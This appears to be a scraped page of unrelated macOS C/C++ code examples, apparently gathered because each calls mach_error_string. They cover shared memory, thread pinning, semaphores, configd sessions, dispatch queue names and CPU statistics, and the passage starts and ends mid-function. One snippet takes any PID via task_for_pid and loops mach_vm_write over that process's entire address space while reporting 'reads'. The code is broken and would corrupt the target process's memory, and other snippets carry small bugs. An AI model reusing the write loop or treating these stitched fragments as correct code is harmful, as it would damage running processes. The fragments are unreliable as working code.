            printf(VOUCHER_DETAIL_PREFIX "Voucher: 0x%x Failed to get contents %s\n", v_kobject, mach_error_string(kr));
            return;
        }
 
        if (recipe_size == 0) {
            printf(VOUCHER_DETAIL_PREFIX "Voucher: 0x%x has no contents\n", v_kobject);
            return;
        }
        printf(VOUCHER_DETAIL_PREFIX "Voucher: 0x%x\n", v_kobject);
        unsigned int used_size = 0;
        mach_voucher_attr_recipe_t recipe = NULL;
        while (recipe_size > used_size) {
            recipe = (mach_voucher_attr_recipe_t)&voucher_contents[used_size];
            if (recipe->key) {
                show_recipe_detail(recipe);
            }
            used_size += sizeof(mach_voucher_attr_recipe_data_t) + recipe->content_size;
        }
    } else {
        printf(VOUCHER_DETAIL_PREFIX "Invalid voucher: 0x%x\n", voucher);
    }
}
PassRefPtr<SharedMemory> SharedMemory::create(size_t size)
{
    ASSERT(size);

    mach_vm_address_t address;
    kern_return_t kr = mach_vm_allocate(mach_task_self(), &address, round_page(size), VM_FLAGS_ANYWHERE);
    if (kr != KERN_SUCCESS) {
        LOG_ERROR("Failed to allocate mach_vm_allocate shared memory (%zu bytes). %s (%x)", size, mach_error_string(kr), kr);
        return 0;
    }

    RefPtr<SharedMemory> sharedMemory = createFromVMBuffer(toPointer(address), size);
    if (!sharedMemory) {
        mach_vm_deallocate(mach_task_self(), address, round_page(size));
        return 0;
    }
    
    sharedMemory->m_shouldVMDeallocateData = true;
    return sharedMemory.release();
}
Exemple #13
0
void bsp_begin( const MCBSP_PROCESSOR_INDEX_DATATYPE P ) {
	struct mcbsp_init_data * const init = bsp_begin_check();

	//if the check did not return an init struct, we are a
	//spawned thread and should just continue the SPMD
	//code.
	if( init == NULL )
		return;

	//otherwise we need to start the SPMD code 
	int *pinning = mcbsp_util_pinning( MCBSP_AFFINITY, P );
	if( pinning == NULL ) {
		fprintf( stderr, "Could not get a valid pinning!\n" );
		mcbsp_util_fatal();
	}

	init->threads = malloc( P * sizeof( pthread_t ) );
	if( init->threads == NULL ) {
		fprintf( stderr, "Could not allocate new threads!\n" );
		mcbsp_util_fatal();
	}

	pthread_attr_t attr;

#ifndef __MACH__
	cpu_set_t mask;
#endif

	//further initialise init object
	init->P     = P;
	init->abort = false;
	init->ended = false;
	init->sync_entry_counter = 0;
	init->sync_exit_counter  = 0;
	pthread_mutex_init( &(init->mutex), NULL );
	pthread_cond_init ( &(init->condition), NULL );
	pthread_cond_init ( &(init->mid_condition), NULL );
	mcbsp_util_address_table_initialise( &(init->global2local), P );
	init->threadData = malloc( P * sizeof( struct mcbsp_thread_data * ) );
	init->tagSize = 0;

	//spawn P-1 threads. The condition checks for both signed and unsigned types
	//since user may set MCBSP_PROCESSOR_INDEX_DATATYPE to a signed type.
	for( MCBSP_PROCESSOR_INDEX_DATATYPE s = P - 1; s < P && s >= 0; --s ) {
		//allocate new thread-local data
		struct mcbsp_thread_data *thread_data = malloc( sizeof( struct mcbsp_thread_data ) );
		if( thread_data == NULL ) {
			fprintf( stderr, "Could not allocate local thread data!\n" );
			mcbsp_util_fatal();
		}
		//provide a link to the SPMD program init struct
		thread_data->init   = init;
		//set local ID
		thread_data->bsp_id = s;
		//set the maximum number of registered globals at any time (0, since SPMD not started yet)
		thread_data->localC = 0;
		//initialise local to global map
		mcbsp_util_address_map_initialise( &(thread_data->local2global ) );
		//initialise stack used for efficient registration of globals after de-registrations
		mcbsp_util_stack_initialise( &(thread_data->removedGlobals), sizeof( unsigned long int ) );
		//initialise stack used for de-registration of globals
		mcbsp_util_stack_initialise( &(thread_data->localsToRemove), sizeof( void * ) );
		//initialise stacks used for communication
		thread_data->queues = malloc( P * sizeof( struct mcbsp_util_stack ) );
		for( MCBSP_PROCESSOR_INDEX_DATATYPE i = 0; i < P; ++i )
			mcbsp_util_stack_initialise( &(thread_data->queues[ i ]), sizeof( struct mcbsp_communication_request) );
		//initialise default tag size
		thread_data->newTagSize = 0;
		//initialise BSMP queue
		mcbsp_util_stack_initialise( &(thread_data->bsmp), sizeof( void * ) );
		//initialise push request queue
		mcbsp_util_stack_initialise( &(thread_data->localsToPush), sizeof( struct mcbsp_push_request ) );
		//provide a link back to this thread-local data struct
		init->threadData[ s ] = thread_data;

		//spawn new threads if s>0
		if( s > 0 ) {
			//create POSIX threads attributes (for pinning)
			pthread_attr_init( &attr );
#ifndef __MACH__
			CPU_ZERO( &mask );
			CPU_SET ( pinning[ s ], &mask );
			pthread_attr_setaffinity_np( &attr, sizeof( cpu_set_t ), &mask );
#endif

			//spawn the actual thread
			if( pthread_create( &(init->threads[ s ]), &attr, mcbsp_internal_spmd, thread_data ) != 0 ) {
				fprintf( stderr, "Could not spawn new thread!\n" );
				mcbsp_util_fatal();
			}

#ifdef __MACH__
			thread_port_t osx_thread = pthread_mach_thread_np( init->threads[ s ] );
			struct thread_affinity_policy ap;
			if( MCBSP_AFFINITY == SCATTER ) {
				//Affinity API release notes do not specify whether 0 is a valid tag, or in fact equal to NULL; so 1-based to be sure
				ap.affinity_tag = s + 1;
			} else if( MCBSP_AFFINITY == COMPACT ) {
				ap.affinity_tag = 1;
			} else if( MCBSP_AFFINITY == MANUAL ) {
				ap.affinity_tag = MCBSP_MANUAL_AFFINITY[ s ];
			} else {
				fprintf( stderr, "Unhandled affinity type for Mac OS X!\n" );
				mcbsp_util_fatal();
			}
			thread_policy_set( osx_thread, THREAD_AFFINITY_POLICY, (thread_policy_t)&ap, THREAD_AFFINITY_POLICY_COUNT );
#endif

			//destroy attributes object
			pthread_attr_destroy( &attr );
		} else {
			//continue ourselves as bsp_id 0. Do pinning
#ifdef __MACH__
			thread_port_t osx_thread = pthread_mach_thread_np( pthread_self() );
			struct thread_affinity_policy ap;
			if( MCBSP_AFFINITY == SCATTER || MCBSP_AFFINITY == COMPACT )
				ap.affinity_tag = 1;
			else if( MCBSP_AFFINITY == MANUAL )
				ap.affinity_tag = MCBSP_MANUAL_AFFINITY[ s ];
			else {
				fprintf( stderr, "Unhandled affinity type for Mac OS X!\n" );
				mcbsp_util_fatal();
			}
			thread_policy_set( osx_thread, THREAD_AFFINITY_POLICY, (thread_policy_t)&ap, THREAD_AFFINITY_POLICY_COUNT );
#else
			CPU_ZERO( &mask );
			CPU_SET ( pinning[ s ], &mask );
			if( pthread_setaffinity_np( pthread_self(), sizeof( cpu_set_t ), &mask ) != 0 ) {
				fprintf( stderr, "Could not pin master thread to requested hardware thread (%d)!\n", pinning[ s ] );
				mcbsp_util_fatal();
			}
#endif
			//record our own descriptor
			init->threads[ 0 ] = pthread_self();
			//copy part of mcbsp_internal_spmd.
			const int rc = pthread_setspecific( mcbsp_internal_thread_data, thread_data );
			if( rc != 0 ) {
				fprintf( stderr, "Could not store thread-local data in continuator thread!\n" );
				fprintf( stderr, "(%s)\n", strerror( rc ) );
				mcbsp_util_fatal();
			}
#ifdef __MACH__
			//get rights for accessing Mach's timers
			const kern_return_t rc1 = host_get_clock_service( mach_host_self(), SYSTEM_CLOCK, &(thread_data->clock) );
			if( rc1 != KERN_SUCCESS ) {
				fprintf( stderr, "Could not access the Mach system timer (%s)\n", mach_error_string( rc1 ) );
				mcbsp_util_fatal();
			}
			const kern_return_t rc2 = clock_get_time( thread_data->clock, &(thread_data->start) );
			if( rc2 != KERN_SUCCESS ) {
				fprintf( stderr, "Could not get starting time (%s)\n", mach_error_string( rc2 ) );
				mcbsp_util_fatal();
			}
#else
			clock_gettime( CLOCK_MONOTONIC, &(thread_data->start) );
#endif
			//this one is extra, enables possible BSP-within-BSP execution.
			if( pthread_setspecific( mcbsp_internal_init_data, NULL ) != 0 ) {
				fprintf( stderr, "Could not reset initialisation data to NULL on SPMD start!\n" );
				mcbsp_util_fatal();
			}
		}
	}
	//free pinning only if it was not manually defined
	if( MCBSP_AFFINITY != MANUAL )
		free( pinning );
}
Exemple #14
0
static void _INXPortInit() {
	if (!INXIsSpringBoard()) {
		kern_return_t err = bootstrap_look_up(bootstrap_port, "hk.kennytm.iNotifyEx.server", &_port);
		if (err)
			CFLog(kCFLogLevelError, CFSTR("iNotifyEx: Fail to look up service \"hk.kennytm.iNotifyEx.server\": %s"), mach_error_string(err));
	}
}
bool JackMachSemaphore::TimedWait(long usec)
{
    if (!fSemaphore) {
        jack_error("JackMachSemaphore::TimedWait name = %s already deallocated!!", fName);
        return false;
    }

    kern_return_t res;
    mach_timespec time;
    time.tv_sec = usec / 1000000;
    time.tv_nsec = (usec % 1000000) * 1000;

    if ((res = semaphore_timedwait(fSemaphore, time)) != KERN_SUCCESS) {
        jack_error("JackMachSemaphore::TimedWait name = %s usec = %ld err = %s", fName, usec, mach_error_string(res));
    }
    return (res == KERN_SUCCESS);
}
Exemple #16
0
// taken from vmmap.c ios clone
void macosx_debug_regions (task_t task, mach_vm_address_t address, int max) {
	kern_return_t kret;

	mach_vm_address_t prev_address;
	/* @TODO: warning - potential overflow here - gotta fix this.. */
	vm_region_basic_info_data_t prev_info, info;
	mach_vm_size_t size, prev_size;

	mach_port_t object_name;
	mach_msg_type_number_t count;

	int nsubregions = 0;
	int num_printed = 0;

	count = VM_REGION_BASIC_INFO_COUNT_64;
	kret = mach_vm_region (task, &address, &size, VM_REGION_BASIC_INFO,
		(vm_region_info_t) &info, &count, &object_name);

	if (kret) {
		printf ("mach_vm_region: Error %d - %s", kret, mach_error_string(kret));
		return;
	}
	memcpy (&prev_info, &info, sizeof (vm_region_basic_info_data_t));
	prev_address = address;
	prev_size = size;
	nsubregions = 1;
	self_sections_count = 0;

	for (;;) {
		int print = 0;
		int done = 0;

		address = prev_address + prev_size;

		/* Check to see if address space has wrapped around. */
		if (address == 0)
			print = done = 1;

		if (!done) {
			// Even on iOS, we use VM_REGION_BASIC_INFO_COUNT_64. This works.

			count = VM_REGION_BASIC_INFO_COUNT_64;


			kret =
			mach_vm_region (task, &address, &size, VM_REGION_BASIC_INFO,
				(vm_region_info_t) &info, &count, &object_name);

			if (kret != KERN_SUCCESS)
			 {
				/* iOS 6 workaround - attempt to reget the task port to avoiD */
				/* "(ipc/send) invalid destination port" (1000003 or something) */
				task_for_pid(mach_task_self(),getpid (), &task);

				kret =
				mach_vm_region (task, &address, &size, VM_REGION_BASIC_INFO,
					(vm_region_info_t) &info, &count, &object_name);


			}
			if (kret != KERN_SUCCESS) {
				fprintf (stderr,"mach_vm_region failed for address %p - Error: %x\n", address,(kret));
				size = 0;
				if (address >= 0x4000000) return;
				print = done = 1;
			}
		}

		if (address != prev_address + prev_size)
			print = 1;

		if ((info.protection != prev_info.protection)
			|| (info.max_protection != prev_info.max_protection)
			|| (info.inheritance != prev_info.inheritance)
			|| (info.shared != prev_info.reserved)
			|| (info.reserved != prev_info.reserved))
			print = 1;

		if (print) {
			int	print_size;
			char *print_size_unit;
			if (num_printed == 0)

				printf ("Region ");
			else
				printf ("   ... ");

			//findListOfBinaries(task, prev_address, prev_size);
			/* Quick hack to show size of segment, which GDB does not */
			print_size = prev_size;
			if (print_size > 1024) { print_size /= 1024; print_size_unit = "K"; }
			if (print_size > 1024) { print_size /= 1024; print_size_unit = "M"; }
			if (print_size > 1024) { print_size /= 1024; print_size_unit = "G"; }
			/* End Quick hack */
			printf (" %p - %p [%d%s](%x/%x; %d, %s, %s)",
				(prev_address),
			       (prev_address + prev_size),
			       print_size,
			       print_size_unit,
			       prev_info.protection,
			       prev_info.max_protection,
			       prev_info.inheritance,
			       prev_info.shared ? "shared" : "private",
			       prev_info.reserved ? "reserved" : "not-reserved");

			self_sections[self_sections_count].from = prev_address;
			self_sections[self_sections_count].to = prev_address+prev_size;
			self_sections[self_sections_count].perm = PERM_READ; //prev_info.protection;
			self_sections_count++;

			if (nsubregions > 1)
				printf (" (%d sub-regions)", nsubregions);

			printf ("\n");

			prev_address = address;
			prev_size = size;
			memcpy (&prev_info, &info, sizeof (vm_region_basic_info_data_t));
			nsubregions = 1;

			num_printed++;
		} else {
			prev_size += size;
			nsubregions++;
		}

		if ((max > 0) && (num_printed >= max)) {
			printf ("Max %d num_printed %d\n", max, num_printed);
			done = 1;
		}
		if (done)
			break;
	 }
}
Exemple #17
0
bool ksmach_getThreadQueueName(const thread_t thread,
                               char* const buffer,
                               size_t bufLength)
{
    // WARNING: This implementation is no longer async-safe!

    integer_t infoBuffer[THREAD_IDENTIFIER_INFO_COUNT] = {0};
    thread_info_t info = infoBuffer;
    mach_msg_type_number_t inOutSize = THREAD_IDENTIFIER_INFO_COUNT;
    kern_return_t kr = 0;

    kr = thread_info(thread, THREAD_IDENTIFIER_INFO, info, &inOutSize);
    if(kr != KERN_SUCCESS)
    {
        KSLOG_TRACE("Error getting thread_info with flavor THREAD_IDENTIFIER_INFO from mach thread : %s", mach_error_string(kr));
        return false;
    }

    thread_identifier_info_t idInfo = (thread_identifier_info_t)info;
    dispatch_queue_t* dispatch_queue_ptr = (dispatch_queue_t*)idInfo->dispatch_qaddr;
    //thread_handle shouldn't be 0 also, because
    //identifier_info->dispatch_qaddr =  identifier_info->thread_handle + get_dispatchqueue_offset_from_proc(thread->task->bsd_info);
    if(dispatch_queue_ptr == NULL || idInfo->thread_handle == 0 || *dispatch_queue_ptr == NULL)
    {
        KSLOG_TRACE("This thread doesn't have a dispatch queue attached : %p", thread);
        return false;
    }

    dispatch_queue_t dispatch_queue = *dispatch_queue_ptr;
    const char* queue_name = dispatch_queue_get_label(dispatch_queue);
    if(queue_name == NULL)
    {
        KSLOG_TRACE("Error while getting dispatch queue name : %p", dispatch_queue);
        return false;
    }
    KSLOG_TRACE("Dispatch queue name: %s", queue_name);
    size_t length = strlen(queue_name);

    // Queue label must be a null terminated string.
    size_t iLabel;
    for(iLabel = 0; iLabel < length + 1; iLabel++)
    {
        if(queue_name[iLabel] < ' ' || queue_name[iLabel] > '~')
        {
            break;
        }
    }
    if(queue_name[iLabel] != 0)
    {
        // Found a non-null, invalid char.
        KSLOG_TRACE("Queue label contains invalid chars");
        return false;
    }
    bufLength = MIN(length, bufLength - 1);//just strlen, without null-terminator
    strncpy(buffer, queue_name, bufLength);
    buffer[bufLength] = 0;//terminate string
    KSLOG_TRACE("Queue label = %s", buffer);
    return true;
}
Exemple #18
0
__private_extern__
kern_return_t
_configopen(mach_port_t			server,
	    xmlData_t			nameRef,		/* raw XML bytes */
	    mach_msg_type_number_t	nameLen,
	    xmlData_t			optionsRef,		/* raw XML bytes */
	    mach_msg_type_number_t	optionsLen,
	    mach_port_t			*newServer,
	    int				*sc_status,
	    audit_token_t		audit_token)
{
	CFDictionaryRef			info;
	serverSessionRef		mySession;
	CFStringRef			name		= NULL;	/* name (un-serialized) */
	CFMutableDictionaryRef		newInfo;
	mach_port_t			oldNotify;
	CFDictionaryRef			options		= NULL;	/* options (un-serialized) */
	CFStringRef			sessionKey;
	kern_return_t 			status;
	SCDynamicStorePrivateRef	storePrivate;
	CFBooleanRef			useSessionKeys	= NULL;

	*sc_status = kSCStatusOK;

	/* un-serialize the name */
	if (!_SCUnserializeString(&name, NULL, (void *)nameRef, nameLen)) {
		*sc_status = kSCStatusFailed;
	}

	if ((optionsRef != NULL) && (optionsLen > 0)) {
		/* un-serialize the [session] options */
		if (!_SCUnserialize((CFPropertyListRef *)&options, NULL, (void *)optionsRef, optionsLen)) {
			*sc_status = kSCStatusFailed;
		}
	}

	if (*sc_status != kSCStatusOK) {
		goto done;
	}

	if (!isA_CFString(name)) {
		*sc_status = kSCStatusInvalidArgument;
		goto done;
	}

	if (options != NULL) {
		if (!isA_CFDictionary(options)) {
			*sc_status = kSCStatusInvalidArgument;
			goto done;
		}

		/*
		 * [pre-]process any provided options
		 */
		useSessionKeys = CFDictionaryGetValue(options, kSCDynamicStoreUseSessionKeys);
		if (useSessionKeys != NULL) {
			if (!isA_CFBoolean(useSessionKeys)) {
				*sc_status = kSCStatusInvalidArgument;
				goto done;
			}
		}
	}

	/*
	 * establish the new session
	 */
	mySession = addSession(server, openMPCopyDescription);
	if (mySession == NULL) {
#ifdef	DEBUG
		SCLog(TRUE, LOG_DEBUG, CFSTR("_configopen(): session is already open."));
#endif	/* DEBUG */
		*sc_status = kSCStatusFailed;	/* you can't re-open an "open" session */
		goto done;
	}

	*newServer = mySession->key;
	__MACH_PORT_DEBUG(TRUE, "*** _configopen (after addSession)", *newServer);

	/* save the audit_token in case we need to check the callers credentials */
	mySession->auditToken = audit_token;

	/* Create and add a run loop source for the port */
	mySession->serverRunLoopSource = CFMachPortCreateRunLoopSource(NULL, mySession->serverPort, 0);
	CFRunLoopAddSource(CFRunLoopGetCurrent(),
			   mySession->serverRunLoopSource,
			   kCFRunLoopDefaultMode);

	if (_configd_trace) {
		SCTrace(TRUE, _configd_trace,
			CFSTR("open    : %5d : %@\n"),
			*newServer,
			name);
	}

	*sc_status = __SCDynamicStoreOpen(&mySession->store, name);
	storePrivate = (SCDynamicStorePrivateRef)mySession->store;

	/*
	 * Make the server port accessible to the framework routines.
	 * ... and be sure to clear before calling CFRelease(store)
	 */
	storePrivate->server = *newServer;

	/*
	 * Process any provided [session] options
	 */
	if (useSessionKeys != NULL) {
		storePrivate->useSessionKeys = CFBooleanGetValue(useSessionKeys);
	}

	/* Request a notification when/if the client dies */
	status = mach_port_request_notification(mach_task_self(),
						*newServer,
						MACH_NOTIFY_NO_SENDERS,
						1,
						*newServer,
						MACH_MSG_TYPE_MAKE_SEND_ONCE,
						&oldNotify);
	if (status != KERN_SUCCESS) {
		SCLog(TRUE, LOG_ERR, CFSTR("_configopen() mach_port_request_notification() failed: %s"), mach_error_string(status));
		cleanupSession(*newServer);
		*newServer = MACH_PORT_NULL;
		*sc_status = kSCStatusFailed;
		goto done;
	}
	__MACH_PORT_DEBUG(TRUE, "*** _configopen (after mach_port_request_notification)", *newServer);

	if (oldNotify != MACH_PORT_NULL) {
		SCLog(TRUE, LOG_ERR, CFSTR("_configopen(): oldNotify != MACH_PORT_NULL"));
	}

	/*
	 * Save the name of the calling application / plug-in with the session data.
	 */
	sessionKey = CFStringCreateWithFormat(NULL, NULL, CFSTR("%d"), *newServer);
	info = CFDictionaryGetValue(sessionData, sessionKey);
	if (info != NULL) {
		newInfo = CFDictionaryCreateMutableCopy(NULL, 0, info);
	} else {
		newInfo = CFDictionaryCreateMutable(NULL,
						    0,
						    &kCFTypeDictionaryKeyCallBacks,
						    &kCFTypeDictionaryValueCallBacks);
	}
	CFDictionarySetValue(newInfo, kSCDName, name);
	CFDictionarySetValue(sessionData, sessionKey, newInfo);
	CFRelease(newInfo);
	CFRelease(sessionKey);

	/*
	 * Note: at this time we should be holding ONE send right and
	 *       ONE receive right to the server.  The send right is
	 *       moved to the caller.
	 */

    done :

	if (name != NULL)	CFRelease(name);
	if (options != NULL)	CFRelease(options);
	return KERN_SUCCESS;
}
int
nanosleep(const struct timespec *requested_time, struct timespec *remaining_time) {
    kern_return_t ret;
    uint64_t end, units;
    static struct mach_timebase_info info = {0, 0};
    static int unity;
    
    if ((requested_time == NULL) || (requested_time->tv_sec < 0) || (requested_time->tv_nsec > NSEC_PER_SEC)) {
        errno = EINVAL;
        return -1;
    }

    if (info.denom == 0) {
        ret = mach_timebase_info(&info);
        if (ret != KERN_SUCCESS) {
            fprintf(stderr, "mach_timebase_info() failed: %s\n", mach_error_string(ret));
            errno = EAGAIN;
            return -1;
        }
	/* If numer == denom == 1 (as in intel), no conversion needed */
	unity = (info.numer == info.denom);
    }

    if(unity)
	units = (uint64_t)requested_time->tv_sec * NSEC_PER_SEC;
    else if(!muldiv128((uint64_t)info.denom * NSEC_PER_SEC,
		       (uint64_t)requested_time->tv_sec,
		       (uint64_t)info.numer,
		       &units))
    {
	errno = EINVAL;
	return -1;
    }
    end = mach_absolute_time()
	+ units
	+ (uint64_t)info.denom * requested_time->tv_nsec / info.numer;
    ret = mach_wait_until(end);
    if (ret != KERN_SUCCESS) {
        if (ret == KERN_ABORTED) {
            errno = EINTR;
            if (remaining_time != NULL) {
                uint64_t now = mach_absolute_time();
                if (now >= end) {
		    remaining_time->tv_sec = 0;
		    remaining_time->tv_nsec = 0;
		} else {
		    if(unity)
			units = (end - now);
		    else
			muldiv128((uint64_t)info.numer,
				  (end - now),
				  (uint64_t)info.denom,
				  &units); // this can't overflow
		    remaining_time->tv_sec = units / NSEC_PER_SEC;
		    remaining_time->tv_nsec = units % NSEC_PER_SEC;
		}
            }
        } else {
            errno = EINVAL;
        }
        return -1;
    }
    return 0;
}
int main() {
    int pid;
    int gcount;
    long address;
    unsigned char * bytes;
    mach_port_t task;
    thread_act_port_array_t threadList;
    mach_msg_type_number_t threadCount;

    printf("PID to query, or 0 for this process: ");
    scanf("%d", &pid);

    if(pid == 0){
        pid = getpid();
    }

    printf("[i] OK, using PID: %d\n", pid);

    int retval = task_for_pid(mach_task_self(), pid, &task);

    if(retval!=KERN_SUCCESS){
        fprintf(stderr, "[!] Failed to get task. Do you have perms?\n");
        fprintf(stderr, "Error: %s\n", mach_error_string(retval));
        return 1;
    }

    printf("[i] Querying thread list\n");
    retval = task_threads(task, &threadList, &threadCount);

    if(retval!=KERN_SUCCESS){
        fprintf(stderr, "[!] Failed to read thread list\n");
        fprintf(stderr, "Error: %s\n", mach_error_string(retval));
        return 1;
    }

    printf("[+] Thread Count: %d\n", threadCount);

    printf("Address to start reading from: ");
    scanf("%ld", &address);

    printf("Number of bytes to read:: ");
    scanf("%d", &gcount);

    printf("[i] Staring... \n");

    bytes = malloc(gcount); //Allocate memory for reading

    time_t temptime = time(NULL);
    long tempaddr = address;

    while(address < pow(2, 63)){
        retval = mach_vm_write(task, (mach_vm_address_t)address, (vm_offset_t)*bytes, gcount);
        if(retval == KERN_SUCCESS){
            printf("Succesfull Read from @0x%016lx: %s\n", address, bytes);
        }

        if(time(NULL) - temptime > TICK){ //probably a load of overhead in calling time()
            long bytes_read = address - tempaddr;
            int seconds_elapsed = time(NULL) - temptime;

            float read_rate = bytes_read/seconds_elapsed/(1024*1024);

            printf("Tick... currently at 0x%016lx (%f MB/sec)\n", address, read_rate);
            temptime = time(NULL);
            tempaddr = address;
        }

        address += gcount; //move to next chunk
    }

}
dns_service_discovery_ref DNSServiceRegistrationCreate
    (const char *name, const char *regtype, const char *domain, uint16_t port, const char *txtRecord, DNSServiceRegistrationReply callBack, void *context)
{
    mach_port_t serverPort = DNSServiceDiscoveryLookupServer();
    mach_port_t clientPort;
    kern_return_t result;
    dns_service_discovery_ref return_t;
    struct a_requests   *request;
    IPPort IpPort;
    char *portptr = (char *)&port;

    if (!serverPort) {
        return NULL;
    }

    if (!txtRecord) {
        txtRecord = "";
    }

    result = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &clientPort);
    if (result != KERN_SUCCESS) {
        printf("Mach port receive creation failed, %s\n", mach_error_string(result));
        return NULL;
    }
    result = mach_port_insert_right(mach_task_self(), clientPort, clientPort, MACH_MSG_TYPE_MAKE_SEND);
    if (result != KERN_SUCCESS) {
        printf("Mach port send creation failed, %s\n", mach_error_string(result));
        mach_port_destroy(mach_task_self(), clientPort);
        return NULL;
    }
    _increaseQueueLengthOnPort(clientPort);

    return_t = malloc(sizeof(dns_service_discovery_t));
    return_t->port = clientPort;

    request = malloc(sizeof(struct a_requests));
    request->client_port = clientPort;
    request->context = context;
    request->callout.regCallback = callBack;

    // older versions of this code passed the port via mach IPC as an int.
    // we continue to pass it as 4 bytes to maintain binary compatibility,
    // but now ensure that the network byte order is preserved by using a struct
    IpPort.bytes[0] = 0;
    IpPort.bytes[1] = 0;
    IpPort.bytes[2] = portptr[0];
    IpPort.bytes[3] = portptr[1];

    result = DNSServiceRegistrationCreate_rpc(serverPort, clientPort, (char *)name, (char *)regtype, (char *)domain, IpPort, (char *)txtRecord);

    if (result != KERN_SUCCESS) {
        printf("There was an error creating a resolve, %s\n", mach_error_string(result));
        free(request);
        return NULL;
    }

    pthread_mutex_lock(&a_requests_lock);
    request->next = a_requests;
    a_requests = request;
    pthread_mutex_unlock(&a_requests_lock);

    return return_t;
}
Exemple #22
0
static int cpu_read (void)
{
#if PROCESSOR_CPU_LOAD_INFO || PROCESSOR_TEMPERATURE
	int cpu;

	kern_return_t status;

#if PROCESSOR_CPU_LOAD_INFO
	processor_cpu_load_info_data_t cpu_info;
	mach_msg_type_number_t	       cpu_info_len;
#endif
#if PROCESSOR_TEMPERATURE
	processor_info_data_t	       cpu_temp;
	mach_msg_type_number_t	       cpu_temp_len;
#endif

	host_t cpu_host;

	for (cpu = 0; cpu < cpu_list_len; cpu++)
	{
#if PROCESSOR_CPU_LOAD_INFO
		derive_t derives[CPU_SUBMIT_MAX] = {
			-1, -1, -1, -1, -1, -1, -1, -1, -1, -1
		};
		memset(derives, -1, sizeof(derives));
		cpu_host = 0;
		cpu_info_len = PROCESSOR_BASIC_INFO_COUNT;

		if ((status = processor_info (cpu_list[cpu],
						PROCESSOR_CPU_LOAD_INFO, &cpu_host,
						(processor_info_t) &cpu_info, &cpu_info_len)) != KERN_SUCCESS)
		{
			ERROR ("cpu plugin: processor_info failed with status %i", (int) status);
			continue;
		}

		if (cpu_info_len < CPU_STATE_MAX)
		{
			ERROR ("cpu plugin: processor_info returned only %i elements..", cpu_info_len);
			continue;
		}

		derives[CPU_SUBMIT_USER] = (derive_t) cpu_info.cpu_ticks[CPU_STATE_USER];
		derives[CPU_SUBMIT_NICE] = (derive_t) cpu_info.cpu_ticks[CPU_STATE_NICE];
		derives[CPU_SUBMIT_SYSTEM] = (derive_t) cpu_info.cpu_ticks[CPU_STATE_SYSTEM];
		derives[CPU_SUBMIT_IDLE] = (derive_t) cpu_info.cpu_ticks[CPU_STATE_IDLE];
		submit (cpu, derives);

#endif /* PROCESSOR_CPU_LOAD_INFO */
#if PROCESSOR_TEMPERATURE
		/*
		 * Not all Apple computers do have this ability. To minimize
		 * the messages sent to the syslog we do an exponential
		 * stepback if `processor_info' fails. We still try ~once a day
		 * though..
		 */
		if (cpu_temp_retry_counter > 0)
		{
			cpu_temp_retry_counter--;
			continue;
		}

		cpu_temp_len = PROCESSOR_INFO_MAX;

		status = processor_info (cpu_list[cpu],
				PROCESSOR_TEMPERATURE,
				&cpu_host,
				cpu_temp, &cpu_temp_len);
		if (status != KERN_SUCCESS)
		{
			ERROR ("cpu plugin: processor_info failed: %s",
					mach_error_string (status));

			cpu_temp_retry_counter = cpu_temp_retry_step;
			cpu_temp_retry_step *= 2;
			if (cpu_temp_retry_step > cpu_temp_retry_max)
				cpu_temp_retry_step = cpu_temp_retry_max;

			continue;
		}

		if (cpu_temp_len != 1)
		{
			DEBUG ("processor_info (PROCESSOR_TEMPERATURE) returned %i elements..?",
					(int) cpu_temp_len);
			continue;
		}

		cpu_temp_retry_counter = 0;
		cpu_temp_retry_step    = 1;
#endif /* PROCESSOR_TEMPERATURE */
	}
	submit_flush ();
/* #endif PROCESSOR_CPU_LOAD_INFO */

#elif defined(KERNEL_LINUX)
	int cpu;
	FILE *fh;
	char buf[1024];

	char *fields[9];
	int numfields;

	if ((fh = fopen ("/proc/stat", "r")) == NULL)
	{
		char errbuf[1024];
		ERROR ("cpu plugin: fopen (/proc/stat) failed: %s",
				sstrerror (errno, errbuf, sizeof (errbuf)));
		return (-1);
	}

	while (fgets (buf, 1024, fh) != NULL)
	{
		derive_t derives[CPU_SUBMIT_MAX] = {
			-1, -1, -1, -1, -1, -1, -1, -1, -1, -1
		};

		if (strncmp (buf, "cpu", 3))
			continue;
		if ((buf[3] < '0') || (buf[3] > '9'))
			continue;

		numfields = strsplit (buf, fields, 9);
		if (numfields < 5)
			continue;

		cpu = atoi (fields[0] + 3);
		derives[CPU_SUBMIT_USER] = atoll(fields[1]);
		derives[CPU_SUBMIT_NICE] = atoll(fields[2]);
		derives[CPU_SUBMIT_SYSTEM] = atoll(fields[3]);
		derives[CPU_SUBMIT_IDLE] = atoll(fields[4]);

		if (numfields >= 8)
		{
			derives[CPU_SUBMIT_WAIT] = atoll(fields[5]);
			derives[CPU_SUBMIT_INTERRUPT] = atoll(fields[6]);
			derives[CPU_SUBMIT_SOFTIRQ] = atoll(fields[6]);

			if (numfields >= 9)
				derives[CPU_SUBMIT_STEAL] = atoll(fields[8]);
		}
		submit(cpu, derives);
	}
	submit_flush();

	fclose (fh);
/* #endif defined(KERNEL_LINUX) */

#elif defined(HAVE_LIBKSTAT)
	int cpu;
	static cpu_stat_t cs;

	if (kc == NULL)
		return (-1);

	for (cpu = 0; cpu < numcpu; cpu++)
	{
		derive_t derives[CPU_SUBMIT_MAX] = {
			-1, -1, -1, -1, -1, -1, -1, -1, -1, -1
		};

		if (kstat_read (kc, ksp[cpu], &cs) == -1)
			continue; /* error message? */

		memset(derives, -1, sizeof(derives));
		derives[CPU_SUBMIT_IDLE] = cs.cpu_sysinfo.cpu[CPU_IDLE];
		derives[CPU_SUBMIT_USER] = cs.cpu_sysinfo.cpu[CPU_USER];
		derives[CPU_SUBMIT_SYSTEM] = cs.cpu_sysinfo.cpu[CPU_KERNEL];
		derives[CPU_SUBMIT_WAIT] = cs.cpu_sysinfo.cpu[CPU_WAIT];
		submit (ksp[cpu]->ks_instance, derives);
	}
	submit_flush ();
/* #endif defined(HAVE_LIBKSTAT) */

#elif CAN_USE_SYSCTL
	uint64_t cpuinfo[numcpu][CPUSTATES];
	size_t cpuinfo_size;
	int status;
	int i;

	if (numcpu < 1)
	{
		ERROR ("cpu plugin: Could not determine number of "
				"installed CPUs using sysctl(3).");
		return (-1);
	}

	memset (cpuinfo, 0, sizeof (cpuinfo));

#if defined(KERN_CPTIME2)
	if (numcpu > 1) {
		for (i = 0; i < numcpu; i++) {
			int mib[] = {CTL_KERN, KERN_CPTIME2, i};

			cpuinfo_size = sizeof (cpuinfo[0]);

			status = sysctl (mib, STATIC_ARRAY_SIZE (mib),
